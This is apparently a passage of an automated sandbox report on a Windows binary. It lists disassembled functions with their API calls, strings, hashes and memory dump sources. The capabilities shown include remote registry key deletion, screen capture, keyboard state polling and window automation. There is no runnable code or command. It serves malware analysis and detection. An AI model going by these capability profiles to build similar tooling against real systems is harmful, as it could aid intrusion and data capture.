String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 7f1a2290bca808ed8b140c81aaea9aa071088605a3bf3ba1b857da8fc6dba942
Instruction ID: 9180d8bc21d836e20ff2b3756de0209e491a1b385ddd39bc5783a65948297af9
Opcode Fuzzy Hash: 7f1a2290bca808ed8b140c81aaea9aa071088605a3bf3ba1b857da8fc6dba942
Instruction Fuzzy Hash: 78D14472A00105EBCB20DF65E9A4BBDB7B9BF84720F908556F807AB180DB74DC45DBA1

Function 009CB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009CC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,009CB6AE,?,?), ref: 009CC9B5
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CC9F1
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CCA68
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 009CB6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 009CB772
RegDeleteValueW.ADVAPI32(?,?), ref: 009CB80A
RegCloseKey.ADVAPI32(?), ref: 009CB87E
RegCloseKey.ADVAPI32(?), ref: 009CB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 009CB8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 009CB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 009CB922
FreeLibrary.KERNEL32(00000000), ref: 009CB983
RegCloseKey.ADVAPI32(00000000), ref: 009CB994

Strings

RegDeleteKeyExW, xrefs: 009CB8FE
advapi32.dll, xrefs: 009CB8ED

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 9637bc06b5b9793c9c2441c0252e123c6448d83b3f3ff81d4982deef5d72ce9f
Instruction ID: 57442c9a7b1a41f1d111b82aecb927546ef47abbfc69c7a78bdab2fd6a8c1753
Opcode Fuzzy Hash: 9637bc06b5b9793c9c2441c0252e123c6448d83b3f3ff81d4982deef5d72ce9f
Instruction Fuzzy Hash: 31C17C70609201AFD714DF24C495F2ABBE5FF84318F14899CF49A8B6A2CB35ED45CB92

Function 009C255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 009C25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 009C25E8
CreateCompatibleDC.GDI32(?), ref: 009C25F4
SelectObject.GDI32(00000000,?), ref: 009C2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 009C266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 009C26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 009C26D0
SelectObject.GDI32(?,?), ref: 009C26D8
DeleteObject.GDI32(?), ref: 009C26E1
DeleteDC.GDI32(?), ref: 009C26E8
ReleaseDC.USER32(00000000,?), ref: 009C26F3

Strings

(, xrefs: 009C268D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 66e18bf5583aba81f293813c87a3e3ed500845e130988a8bdde18375295b12a2
Instruction ID: b8b0ff34540dd57a3f95675f001f6178d5ba24f75ca276d01e0039a64c204e8d
Opcode Fuzzy Hash: 66e18bf5583aba81f293813c87a3e3ed500845e130988a8bdde18375295b12a2
Instruction Fuzzy Hash: 196102B5D0421AEFCF04CFA8D984EAEBBB5FF48310F20852AE955A7250D770A941DF60

Function 0097DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0097DAA1

Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D659
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D66B
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D67D
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D68F
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D6A1
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D6B3
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D6C5
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D6D7
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D6E9
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D6FB
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D70D
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D71F
Part of subcall function 0097D63C: _free.LIBCMT ref: 0097D731

_free.LIBCMT ref: 0097DA96

Part of subcall function 009729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000), ref: 009729DE
Part of subcall function 009729C8: GetLastError.KERNEL32(00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000,00000000), ref: 009729F0

_free.LIBCMT ref: 0097DAB8
_free.LIBCMT ref: 0097DACD
_free.LIBCMT ref: 0097DAD8
_free.LIBCMT ref: 0097DAFA
_free.LIBCMT ref: 0097DB0D
_free.LIBCMT ref: 0097DB1B
_free.LIBCMT ref: 0097DB26
_free.LIBCMT ref: 0097DB5E
_free.LIBCMT ref: 0097DB65
_free.LIBCMT ref: 0097DB82
_free.LIBCMT ref: 0097DB9A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 4b0b8ee121895b216faa01daf601abde7a3b6de5133172243b1efd74da1876da
Instruction ID: 8db7df18c8f5d3368182eb3432e9173b6f4c768def0cc926d560ce70db1a13e7
Opcode Fuzzy Hash: 4b0b8ee121895b216faa01daf601abde7a3b6de5133172243b1efd74da1876da
Instruction Fuzzy Hash: 333147336052059FEB25AB38E945B5AB7E8FF40320F198829E54CD7191DB30AC808B24

Function 009A365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 009A369C
_wcslen.LIBCMT ref: 009A36A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 009A3797
GetClassNameW.USER32(?,?,00000400), ref: 009A380C
GetDlgCtrlID.USER32(?), ref: 009A385D
GetWindowRect.USER32(?,?), ref: 009A3882
GetParent.USER32(?), ref: 009A38A0
ScreenToClient.USER32(00000000), ref: 009A38A7
GetClassNameW.USER32(?,?,00000100), ref: 009A3921
GetWindowTextW.USER32(?,?,00000400), ref: 009A395D

Strings

%s%u, xrefs: 009A3734

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 572d943b6ca733762688f456b5f5a5777c20b6dded40bf89aea73707e0e0cc37
Instruction ID: 53b0046bccaf663f9452199e12be0ce039962e3716bbdb473e724243efab8a14
Opcode Fuzzy Hash: 572d943b6ca733762688f456b5f5a5777c20b6dded40bf89aea73707e0e0cc37
Instruction Fuzzy Hash: F991BFB1204606EFDB19DF24C885FAAB7ACFF85354F008629F999D2190DB34EA45CBD1

Function 009A4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 009A4994
GetWindowTextW.USER32(?,?,00000400), ref: 009A49DA
_wcslen.LIBCMT ref: 009A49EB
CharUpperBuffW.USER32(?,00000000), ref: 009A49F7
_wcsstr.LIBVCRUNTIME ref: 009A4A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 009A4A64
GetWindowTextW.USER32(?,?,00000400), ref: 009A4A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 009A4AE6
GetClassNameW.USER32(?,?,00000400), ref: 009A4B20
GetWindowRect.USER32(?,?), ref: 009A4B8B

Strings

ThumbnailClass, xrefs: 009A4A6F, 009A4AF1

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: f367479de144b97999e3c8acc06d97d436975ab89473cd6297643969675d6fdb
Instruction ID: 123500cb1de4822c3351ea4ace42817d24d87a5908e2b57b7296e098ff728a9d
Opcode Fuzzy Hash: f367479de144b97999e3c8acc06d97d436975ab89473cd6297643969675d6fdb
Instruction Fuzzy Hash: 8C919B710082069BDB04CF14C985BAAB7ECFFC6314F04846AFD8A9A196DB70ED45CBE1

Function 009ABF30 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00A11990,000000FF,00000000,00000030), ref: 009ABFAC
SetMenuItemInfoW.USER32(00A11990,00000004,00000000,00000030), ref: 009ABFE1
Sleep.KERNEL32(000001F4), ref: 009ABFF3
GetMenuItemCount.USER32(?), ref: 009AC039
GetMenuItemID.USER32(?,00000000), ref: 009AC056
GetMenuItemID.USER32(?,-00000001), ref: 009AC082
GetMenuItemID.USER32(?,?), ref: 009AC0C9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 009AC10F
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 009AC124
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 009AC145

Strings

0, xrefs: 009ABF3D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: 4f43a679948cbe2707d898dc90c6e0b50d964f44a7ce09de60fa3041dd9c2020
Instruction ID: b76ce45492e49948ddd9e05523d70a382bc6c0c87fec1e6bc610e9fbbfcb2ff4
Opcode Fuzzy Hash: 4f43a679948cbe2707d898dc90c6e0b50d964f44a7ce09de60fa3041dd9c2020
Instruction Fuzzy Hash: CA61B0F0A0425AEFDF11CF64DD88AEE7BB8EB46344F044115F911AB292C735AD45DBA0

Function 009CCC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 009CCC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 009CCC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 009CCD48

Part of subcall function 009CCC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 009CCCAA
Part of subcall function 009CCC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 009CCCBD
Part of subcall function 009CCC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 009CCCCF
Part of subcall function 009CCC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 009CCD05
Part of subcall function 009CCC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 009CCD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 009CCCF3

Strings

RegDeleteKeyExW, xrefs: 009CCCC9
advapi32.dll, xrefs: 009CCCB8

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 432b73d6b849163905a07534d37438fe70a1250d223558908aebae2886d37a86
Instruction ID: 6127d3a6bf1f26459187e7cbbfa0a4a72251188db859eae31a34077ffb787337
Opcode Fuzzy Hash: 432b73d6b849163905a07534d37438fe70a1250d223558908aebae2886d37a86
Instruction Fuzzy Hash: 053184B1D41129BBDB208B50DC88EFFBF7CEF55740F004569E90AE2140DB345A45EAB1

Function 009B3D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 009B3D40
_wcslen.LIBCMT ref: 009B3D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 009B3D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 009B3DBE
RemoveDirectoryW.KERNEL32(?), ref: 009B3DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 009B3E55
CloseHandle.KERNEL32(00000000), ref: 009B3E60
CloseHandle.KERNEL32(00000000), ref: 009B3E6B

Strings

\??\%s, xrefs: 009B3D5B
:, xrefs: 009B3D82
\, xrefs: 009B3D77

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: 5cc6730cf7cca4ae0ea5b2f7c983ee7c5f991e68263528dfef3e0f23182d4062
Instruction ID: 3a90244605a48b96624f64ae429b8669df2a3da0a73ed1929646fe54f591913b
Opcode Fuzzy Hash: 5cc6730cf7cca4ae0ea5b2f7c983ee7c5f991e68263528dfef3e0f23182d4062
Instruction Fuzzy Hash: EA31C5B195421AABDB20DBA0DC48FEF77BCEF88750F5041A6F615D6090E7749784CB24

Function 009AE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 009AE6B4

Part of subcall function 0095E551: timeGetTime.WINMM(?,?,009AE6D4), ref: 0095E555

Sleep.KERNEL32(0000000A), ref: 009AE6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 009AE705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 009AE727
SetActiveWindow.USER32 ref: 009AE746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 009AE754
SendMessageW.USER32(00000010,00000000,00000000), ref: 009AE773
Sleep.KERNEL32(000000FA), ref: 009AE77E
IsWindow.USER32 ref: 009AE78A
EndDialog.USER32(00000000), ref: 009AE79B

Strings

BUTTON, xrefs: 009AE719

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 18fbbce659bde51bd025242711ae29ab3349ecc8a0025ffdd636802cf22532d9
Instruction ID: 03f1a1ae4683b8335b33f0f1e3000420bbb895f6bde4c6c97d5c94bc482d1aec
Opcode Fuzzy Hash: 18fbbce659bde51bd025242711ae29ab3349ecc8a0025ffdd636802cf22532d9
Instruction Fuzzy Hash: 4C2193B0354206AFEB009FA0EC89B653B6DF796349F108836F521821E1DB71EC51DBA4

Function 009AE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 009AEA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 009AEA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 009AEA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 009AEA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 009AEAA7

Strings

close PlayMe, xrefs: 009AEA6E, 009AEA9B
play PlayMe, xrefs: 009AEAA2
alias PlayMe, xrefs: 009AEA36
play PlayMe wait, xrefs: 009AEA91
open , xrefs: 009AEA0C
status PlayMe mode, xrefs: 009AEA58

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: cf0eb568d2eefda5edadcf15927a97db3fa027260d35f80e64cfabf87d36249a
Instruction ID: ce0edf5df82da339246c8d72eb7d76d3d1fb75436f462b6500669a32a5a8a6a5
Opcode Fuzzy Hash: cf0eb568d2eefda5edadcf15927a97db3fa027260d35f80e64cfabf87d36249a
Instruction Fuzzy Hash: B4115E31A9025D79E720A7A5EC4AEFF6ABCFBD2B44F444829B811A20D1EAB00955C5B0

Function 009A9F91 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 009AA012
SetKeyboardState.USER32(?), ref: 009AA07D
GetAsyncKeyState.USER32(000000A0), ref: 009AA09D
GetKeyState.USER32(000000A0), ref: 009AA0B4
GetAsyncKeyState.USER32(000000A1), ref: 009AA0E3
GetKeyState.USER32(000000A1), ref: 009AA0F4
GetAsyncKeyState.USER32(00000011), ref: 009AA120
GetKeyState.USER32(00000011), ref: 009AA12E
GetAsyncKeyState.USER32(00000012), ref: 009AA157
GetKeyState.USER32(00000012), ref: 009AA165
GetAsyncKeyState.USER32(0000005B), ref: 009AA18E
GetKeyState.USER32(0000005B), ref: 009AA19C

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 24f8349b53df85199cde9b1ab25ad1fcc3a04b292db14125167d67adab209f47
Instruction ID: e57171f39ad86482e2582bbf10ff7ba46acf07b5b6641abf38ffe97e85f2545c
Opcode Fuzzy Hash: 24f8349b53df85199cde9b1ab25ad1fcc3a04b292db14125167d67adab209f47
Instruction Fuzzy Hash: 0B5199209087982EFB35DB6089157EABFB99F13384F08859AD5C2571C3DB54AE4CC7E2

Function 009A5CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 009A5CE2
GetWindowRect.USER32(00000000,?), ref: 009A5CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 009A5D59
GetDlgItem.USER32(?,00000002), ref: 009A5D69
GetWindowRect.USER32(00000000,?), ref: 009A5D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 009A5DCF
GetDlgItem.USER32(?,000003E9), ref: 009A5DDD
GetWindowRect.USER32(00000000,?), ref: 009A5DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 009A5E31
GetDlgItem.USER32(?,000003EA), ref: 009A5E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 009A5E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 009A5E67

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 3bb78978c59b2ebd860e35a067bf847d95b5921ea429fcad48e925bb265017d7
Instruction ID: 06bf150a5b0f92f3f03581f3ad44d5a8699fad87d092e8b589f750a8ea992e8a
Opcode Fuzzy Hash: 3bb78978c59b2ebd860e35a067bf847d95b5921ea429fcad48e925bb265017d7
Instruction Fuzzy Hash: 4A512EB1B50606AFDF18CF68CD89AAEBBB9FB49300F518129F515E7290D7709E40DB90

Function 00958BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00958F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00958BE8,?,00000000,?,?,?,?,00958BBA,00000000,?), ref: 00958FC5

DestroyWindow.USER32(?), ref: 00958C81
KillTimer.USER32(00000000,?,?,?,?,00958BBA,00000000,?), ref: 00958D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00996973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00958BBA,00000000,?), ref: 009969A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00958BBA,00000000,?), ref: 009969B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00958BBA,00000000), ref: 009969D4
DeleteObject.GDI32(00000000), ref: 009969E6

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
